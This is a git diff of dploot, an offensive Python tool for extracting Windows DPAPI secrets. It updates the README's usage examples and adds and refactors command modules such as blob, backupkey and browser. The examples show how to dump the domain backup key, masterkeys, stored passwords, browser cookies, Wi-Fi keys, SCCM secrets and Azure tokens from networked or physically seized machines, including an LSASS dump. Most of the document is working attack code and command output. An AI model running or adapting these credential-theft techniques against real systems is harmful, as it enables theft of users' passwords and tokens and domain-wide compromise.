diff --git a/README.md b/README.md index 1c8a52f..d224446 100755 --- a/README.md +++ b/README.md @@ -13,6 +13,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops. - [Kerberos](#kerberos) - [How to use](#how-to-use) - [As a local administrator on the machine](#as-a-local-administrator-on-the-machine) + - [With offline access to the Windows' filesystem](#with-offline-access-to-the-windows-filesystem) - [As a domain administrator (or equivalent)](#as-a-domain-administrator-or-equivalent) - [Not as a domain administrator](#not-as-a-domain-administrator) - [Commands](#commands) @@ -35,8 +36,9 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops. - [sccm](#sccm) - [backupkey](#backupkey) - [mobaxterm](#mobaxterm) + - [wam](#wam) + - [blob](#blob) - [Credits](#credits) - - [TODO](#TODO) ## Installation @@ -61,33 +63,39 @@ sudo apt install python3-dploot ## Usage ```text -usage: dploot [-h] [-debug] [-quiet] {certificates,credentials,masterkeys,vaults,backupkey,rdg,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi} ... +dploot (https://github.com/zblurx/dploot) v3.0.0 by @_zblurx +usage: dploot [-h] + {certificates,credentials,masterkeys,vaults,backupkey,blob,rdg,sccm,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi,mobaxterm,wam} + ... -DPAPI looting remotely in Python +DPAPI looting locally remotely in Python positional arguments: - {certificates,credentials,masterkeys,vaults,backupkey,rdg,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi} + {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} Action - certificates Dump users certificates from remote target - credentials Dump users Credential Manager blob from remote target - masterkeys Dump users masterkey from remote target - vaults Dump users Vaults blob from remote target backupkey Backup Keys from domain controller - rdg Dump users saved password information for RDCMan.settings from remote target - triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from remote target - machinemasterkeys Dump system masterkey from remote target - machinecredentials Dump system credentials from remote target - machinevaults Dump system vaults from remote target + blob Decrypt DPAPI blob. Can fetch masterkeys on target + browser Dump users credentials and cookies saved in browser from local or remote target + certificates Dump users certificates from local or remote target + credentials Dump users Credential Manager blob from local or remote target machinecertificates - Dump system certificates from remote target - machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from remote target - browser Dump users credentials and cookies saved in browser from remote target - wifi Dump wifi profiles from remote target + Dump system certificates from local or remote target + machinecredentials Dump system credentials from local or remote target + machinemasterkeys Dump system masterkey from local or remote target + machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote + target + machinevaults Dump system vaults from local or remote target + masterkeys Dump users masterkey from local or remote target + mobaxterm Dump Passwords and Credentials from MobaXterm + rdg Dump users saved password information for RDCMan.settings from local or remote target + sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target + triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target + vaults Dump users Vaults blob from local or remote target + wam Dump users cached azure tokens from local or remote target + wifi Dump wifi profiles from local or remote target options: -h, --help show this help message and exit - -debug Turn DEBUG output ON - -quiet Only output dumped credentials ``` ### Kerberos @@ -103,23 +111,38 @@ The goal of dploot is to simplify DPAPI related loot from a Linux box. As SharpD Whenever you are local administrator of a windows computer, you can loot machine secrets, for example with [machinecertificates](#machinecertificates) (or any other [Machine Triage](#machine-triage) commands, or [wifi](#wifi) command): ```text -$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -quiet +$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx ``` +### With offline access to the Windows' filesystem + +A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify `LOCAL` as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with `-root`: + +```text +$ dploot sccm -root /media/C_drive/ LOCAL +[*] Connected to LOCAL as \None (admin) +``` + +It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in [User Triage](#user-triage) below): +```text +$ dploot masterkeys -root /mnt -u bob -p Password LOCAL +[*] Connected to LOCAL as \bob (admin) +``` + ### As a domain administrator (or equivalent) If you have domain admin privileges, you can obtain the domain DPAPI backup key with the backupkey command. This key can decrypt any DPAPI masterkeys for domain users and computers, and it will never change. Therefore, this key allow attacker to loot any DPAPI protected password realted to a domain user. To obtain the domain backupkey, you can use [backupkey](#backupkey) command: ```text -$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.56.112 -quiet +$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet [-] Exporting domain backupkey to file key.pvk ``` Then you can loot any user secrets stored on a windows domain-joined computer on the network, for example with [certificates](#certificates) command (or any other [User Triage](#user-triage) commands): ``` -$ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -pvk key.pvk -quiet +$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx @@ -130,7 +153,7 @@ $ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.5 If domain admin privileges have not been obtained (yet), using Mimikatz' sekurlsa::dpapi command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running dpapi::cache after key extraction will give you a nice table). If you change these keys to a {GUID1}:SHA1 {GUID2}:SHA1... type format, they can be supplied to dploot to triage the box. Use can also use [lsassy](https://github.com/Hackndo/lsassy) to harvest decrypted masterkeys: ```text -$ lsassy -u Administrator -p 'Password!123' -d waza.local 192.168.56.14 -m rdrleakdiag -M masterkeys +$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys [+] 192.168.56.14 Authentication successful [+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes) [+] 192.168.56.14 Lsass dump deleted @@ -142,7 +165,7 @@ $ lsassy -u Administrator -p 'Password!123' -d waza.local 192.168.56.14 -m rdrle Then you can use this masterkey file to loot the targeted computer, for example with [browser](#browser) command (or any other [User Triage](#user-triage) commands): ```text -$ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -mkfile /data/masterkeys +$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys [*] Connected to 192.168.56.14 as waza.local\Administrator (admin) [*] Triage Browser Credentials for ALL USERS @@ -153,18 +176,20 @@ Username: zblurx@gmail.com Password: Waza1234 ``` +You can also dump masterkey hashes with `-hashes-outputfile` option of [dploot masterkeys](#masterkeys) + ## Commands ### User Triage #### masterkeys -The **masterkeys** command will get any user masterkey file and decrypt them with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` domain backup key. It will return a set of masterkey {GUID}:SHA1 mappings. Note that it will try to use password or nthash that you used to connect to the target even if you don't specify corresponding options. +The **masterkeys** command will get any user masterkey file and decrypt them with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` domain backup key. It will return a set of masterkey {GUID}:SHA1 mappings. Note that it will try to use password or nthash that you used to connect to the target even if you don't specify corresponding options. You can eventually use `-hashes-outputfile` to get every masterkey hashes in Hashcat/JtR format in order to crack cleartext password. *With domain backupkey*: ```text -$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk +$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage ALL USERS masterkeys @@ -179,7 +204,7 @@ $ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57. ```text $ cat passwords jsmith:Password#123 -$ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -passwords passwords +$ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords [*] Connected to 192.168.56.14 as waza.local\jsmith (admin) [*] Triage ALL USERS masterkeys @@ -198,7 +223,7 @@ The **credentials** command will search for users Credential files and decrypt t With `mkfile`: ```text -$ dploot credentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf +$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage Credentials for ALL USERS @@ -229,7 +254,7 @@ Unknown : Password!123 With `pvk`: ```text -$ dploot credentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk +$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage ALL USERS masterkeys @@ -259,7 +284,7 @@ The **vaults** command will search for users Vaults secrets and decrypt them wit With `mkfile`: ```text -$ dploot vaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waza.local.mkf +$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf [*] Connected to 192.168.56.14 as waza.local\jsmith (admin) [*] Triage Vaults for ALL USERS @@ -279,7 +304,7 @@ Decoded Password: test With `pvk`: ```text -$ dploot vaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk +$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin) [*] Triage ALL USERS masterkeys @@ -307,7 +332,7 @@ The **rdg** command will search for users RDCMan.settings files secrets and decr With `mkfile`: ```text -$ dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waza.local.mkf +$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf [*] Connected to 192.168.56.14 as waza.local\jsmith (admin) [*] Triage RDCMAN Settings and RDG files for ALL USERS @@ -338,7 +363,7 @@ $ dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waz With `pvk`: ```text -dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk +dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin) [*] Triage ALL USERS masterkeys @@ -379,7 +404,7 @@ The **certificates** command will search for users certificates from *MY* and de With `mkfile`: ```text -$ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf +$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage Certificates for ALL USERS @@ -411,7 +436,7 @@ DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0 With `pvk`: ```text -$ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk +$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage ALL USERS masterkeys @@ -457,7 +482,7 @@ The **browser** command will search for users password and cookies in chrome bas With `mkfile`: ```text -$ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf +$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage Browser Credentials for ALL USERS @@ -471,7 +496,7 @@ Password: Password!123 With `pvk`: ```text -$ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk +$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage ALL USERS masterkeys @@ -501,7 +526,7 @@ The **triage** command runs the user [credentials](#credentials), [vaults](#vaul The **machinemasterkeys** command will dump LSA secrets with RemoteRegistry to retrieve DPAPI_SYSTEM key which will the be used to decrypt any found machine masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings. ```text -$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 +$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage SYSTEM masterkeys @@ -519,7 +544,7 @@ $ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' 192. The **machinecredentials** command will get any machine Credentials file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI XXX blob. ```text -$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 +$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage SYSTEM masterkeys @@ -550,7 +575,7 @@ Unknown : Password!123 The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob. ```text -$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 +$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 [*] Connected to 192.168.56.14 as waza.local\jsmith (admin) [*] Triage SYSTEM masterkeys @@ -574,7 +599,7 @@ The **machinecertificates** command will get any machine private key file found It will also dump machine CAPI certificates blob with RemoteRegistry. ```text -$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 +$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage SYSTEM masterkeys @@ -622,7 +647,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. ```text -$ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 +$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin) [*] Triage SYSTEM masterkeys @@ -676,7 +701,7 @@ EapHostConfig: The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results. ```text -$ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 +$ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 [*] Connected to 192.168.56.14 as waza.local\jsmith (admin) [*] Triage SYSTEM masterkeys @@ -702,7 +727,7 @@ The **backupkey** command will retrieve the domain DPAPI backup key from a domai By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag. ```text -$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.57.20 +$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20 [*] Connected to dc01.waza.local as waza.local\e.cartman (admin) [DOMAIN BACKUPKEY V2] @@ -727,7 +752,7 @@ The **mobaxterm** command will extract MobaXterm secrets and masterpassword key With `pvk`: ```text -dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk +dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin) [*] Triage ALL USERS masterkeys @@ -747,6 +772,68 @@ Username: mobauser@mobaserver Password: 309554moba231082pass322883 ``` +### wam + +The **wam** command will search for TBRES files from Token Broker Cache and decrypt their content with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. + +With `pvk`: + +```text +dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk +[*] Connected to 192.168.56.14 as waza.local\jsmith (admin) + +[*] Triage ALL USERS masterkeys + +{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 +{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9 + +[*] Triage Office Token Broken Cache for ALL USERS + +[TBRES FILE] +Version: 1 +expiration: 133668881920000000 +responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac' +WTRes_Token: access_token=eyJhb[...] +``` + +***Tips***: *You can find Microsoft access token for Entra users in TBRES files.* + +### blob + +The **blob** command will decrypt DPAPI blob with `-mkfile FILE` of one or more {GUID}:SHA1, `-masterkey {GUID}:SHA1` or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. + +With `pvk`: + +```text +dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]' +[*] Connected to 192.168.56.14 as waza.local\jsmith (admin) + +[*] Triage ALL USERS masterkeys + +{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 +{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9 + +[*] Trying to decrypt DPAPI blob + +[BLOB] +Version : 1 (1) +Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB +MasterKeyVersion : 1 (1) +Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B +Flags : 0 () +Description : +CryptAlgo : 00006603 (26115) (CALG_3DES) +Salt : b'a5a15df8f0fb606897f28966dd5fcd9e' +HMacKey : b'' +HashAlgo : 00008004 (32772) (CALG_SHA) +HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a' +Data : b'5ece8ce1dd8[...] + +Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]' +``` + +***Tips***: *You can find Microsoft access token for Entra users in TBRES files.* + ## Credits Those projects helped a lot in writting this tool: @@ -755,7 +842,4 @@ Those projects helped a lot in writting this tool: - [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) by [Harmj0y](https://twitter.com/harmj0y) - [Mimikatz](https://github.com/gentilkiwi/mimikatz/) by [gentilkiwi](https://twitter.com/gentilkiwi) - [DonPAPI](https://github.com/login-securite/DonPAPI) by [LoginSecurite](https://twitter.com/LoginSecurite) - -## TODO - -- Implement LOCAL triage (with extracted stuff) +- [WAMBam](https://github.com/xpn/WAMBam) by [_xpn_](https://twitter.com/_xpn_) diff --git a/dploot/action/backupkey.py b/dploot/action/backupkey.py index 0b203dd..e0a0d8e 100755 --- a/dploot/action/backupkey.py +++ b/dploot/action/backupkey.py @@ -8,50 +8,65 @@ from dploot.lib.smb import DPLootSMBConnection from dploot.triage.backupkey import BackupkeyTriage -NAME = 'backupkey' +NAME = "backupkey" + class BackupkeyAction: - def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self.dce = None self.outputfile = None self.legacy = self.options.legacy - if self.options.outputfile is not None and self.options.outputfile != '': + if self.options.outputfile is not None and self.options.outputfile != "": self.outputfile = self.options.outputfile else: - self.outputfile = 'key.pvk' + self.outputfile = "key.pvk" def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) if self.conn.connect() is None: logging.error("Could not connect to %s" % self.target.address) sys.exit(1) + if self.conn.local_session: + logging.error("Backup key is not implemented with LOCAL target.") + sys.exit(1) def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) triage = BackupkeyTriage(target=self.target, conn=self.conn) backupkey = triage.triage_backupkey() if backupkey.backupkey_v1 is not None and self.legacy: if not self.options.quiet: print("Legacy key:") - print("0x%s" % hexlify(backupkey.backupkey_v1).decode('latin-1')) + print("0x%s" % hexlify(backupkey.backupkey_v1).decode("latin-1")) print("\n") - logging.info("Exporting key to file {}".format(self.outputfile + ".key")) - open(self.outputfile + ".key", 'wb').write(backupkey.backupkey_v1) + logging.info("Exporting key to file {}".format(self.outputfile + ".key")) + open(self.outputfile + ".key", "wb").write(backupkey.backupkey_v1) if not self.options.quiet: print("[DOMAIN BACKUPKEY V2]") backupkey.pvk_header.dump() - print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey.backupkey_v2).decode('latin-1'))) + print( + "PRIVATEKEYBLOB:{%s}" + % (hexlify(backupkey.backupkey_v2).decode("latin-1")) + ) print("\n") - logging.critical("Exporting domain backupkey to file {}".format(self.outputfile )) - open(self.outputfile, 'wb').write(backupkey.backupkey_v2) + logging.critical( + f"Exporting domain backupkey to file {self.outputfile}" + ) + open(self.outputfile, "wb").write(backupkey.backupkey_v2) @property def is_admin(self) -> bool: @@ -61,10 +76,12 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = BackupkeyAction(options) a.run() + def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: subparser = subparsers.add_parser(NAME, help="Backup Keys from domain controller") @@ -73,19 +90,13 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable group.add_argument( "-outputfile", action="store", - help=( - "Export keys to specific filename (default key.pvk)" - ), + help=("Export keys to specific filename (default key.pvk)"), ) group.add_argument( - '-legacy', - action='store_true', - help=( - "Get also backupkey v1 (legacy)" - ) + "-legacy", action="store_true", help=("Get also backupkey v1 (legacy)") ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/blob.py b/dploot/action/blob.py new file mode 100644 index 0000000..856115a --- /dev/null +++ b/dploot/action/blob.py @@ -0,0 +1,167 @@ +import argparse +import base64 +import logging +import os +import sys +from typing import Callable, Tuple +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) + +from impacket.dpapi import DPAPI_BLOB + +from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob +from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.target import Target, add_target_argument_group +from dploot.lib.utils import dump_looted_files_to_disk, find_guid, find_sha1, handle_outputdir_option +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey + +NAME = "blob" + + +class BlobAction: + def __init__(self, options: argparse.Namespace) -> None: + self.options = options + self.target = Target.from_options(options) + + self.conn = None + self._is_admin = None + self.outputdir = None + self.masterkeys = None + self.pvkbytes = None + self.passwords = None + self.nthashes = None + + if not self.handle_blob_option(self.options.blob): + sys.exit(1) + + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) + + if self.options.mkfile is not None: + try: + self.masterkeys = parse_masterkey_file(self.options.mkfile) + except Exception as e: + logging.error(str(e)) + sys.exit(1) + + if self.options.masterkey is not None: + guid, sha1 = self.options.masterkey.split(":") + self.masterkeys[Masterkey( + guid=find_guid(guid), + sha1=find_sha1(sha1), + )] + + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) + + def connect(self) -> None: + self.conn = DPLootSMBConnection(self.target) + if self.conn.connect() is None: + logging.error("Could not connect to %s" % self.target.address) + sys.exit(1) + + def run(self) -> None: + self.connect() + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) + if self.is_admin: + if self.masterkeys is None: + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) + logging.info("Triage ALL USERS masterkeys\n") + self.masterkeys = masterkeytriage.triage_masterkeys() + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + logging.info("Trying to decrypt DPAPI blob\n") + DPAPI_BLOB(self.blob).dump() + masterkey = find_masterkey_for_blob(self.blob, masterkeys=self.masterkeys) + if masterkey is not None: + cleartext = decrypt_blob(blob_bytes=self.blob, masterkey=masterkey, entropy=self.options.entropy if self.options.entropy != "" else None) + print("Data decrypted: %s" % cleartext) + else: + logging.info("Not an admin, exiting...") + + @property + def is_admin(self) -> bool: + if self._is_admin is not None: + return self._is_admin + + self._is_admin = self.conn.is_admin() + return self._is_admin + + def handle_blob_option(self, blob_argument): + if os.path.isfile(blob_argument): + with open(blob_argument, "rb") as f: + self.blob = f.read() + return True + else: + try: + self.blob = base64.b64decode(blob_argument) + return True + except Exception: + logging.error(f"{blob_argument} does not seems to be a file nor a b64 encoded blob.") + return False + +def entry(options: argparse.Namespace) -> None: + a = BlobAction(options) + a.run() + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Decrypt DPAPI blob. Can fetch masterkeys on target" + ) + + group = subparser.add_argument_group("vaults options") + + group.add_argument( + "-blob", + action="store", + required=True, + help=("Blob base64 encoded or in file"), + ) + + group.add_argument( + "-masterkey", + action="store", + help=("{GUID}:SHA1 masterkey"), + ) + + group.add_argument( + "-entropy", + action="store", + help=("Entropy value"), + ) + + group.add_argument( + "-mkfile", + action="store", + help=("File containing {GUID}:SHA1 masterkeys mappings"), + ) + + add_masterkeys_argument_group(group) + add_target_argument_group(subparser) + + return NAME, entry diff --git a/dploot/action/browser.py b/dploot/action/browser.py index 96f7196..2bf21ce 100755 --- a/dploot/action/browser.py +++ b/dploot/action/browser.py @@ -1,24 +1,26 @@ import argparse import logging -import os import sys from typing import Callable, Tuple -from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option -from dploot.triage.browser import BrowserTriage +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option +from dploot.triage.browser import BrowserTriage, Cookie from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -NAME = 'browser' +NAME = "browser" -class BrowserAction: +class BrowserAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self.outputdir = None @@ -27,7 +29,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.passwords = None self.nthashes = None - self.outputdir = handle_outputdir_option(dir= self.options.export_browser) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -36,7 +38,9 @@ def __init__(self, options: argparse.Namespace) -> None: logging.error(str(e)) sys.exit(1) - self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) @@ -46,34 +50,65 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage ALL USERS masterkeys\n") self.masterkeys = masterkeytriage.triage_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage Browser Credentials%sfor ALL USERS\n' % (' and Cookies ' if self.options.show_cookies else ' ')) - credentials, cookies = triage.triage_browsers(gather_cookies=self.options.show_cookies) - for credential in credentials: + print() + if self.outputdir is not None: + 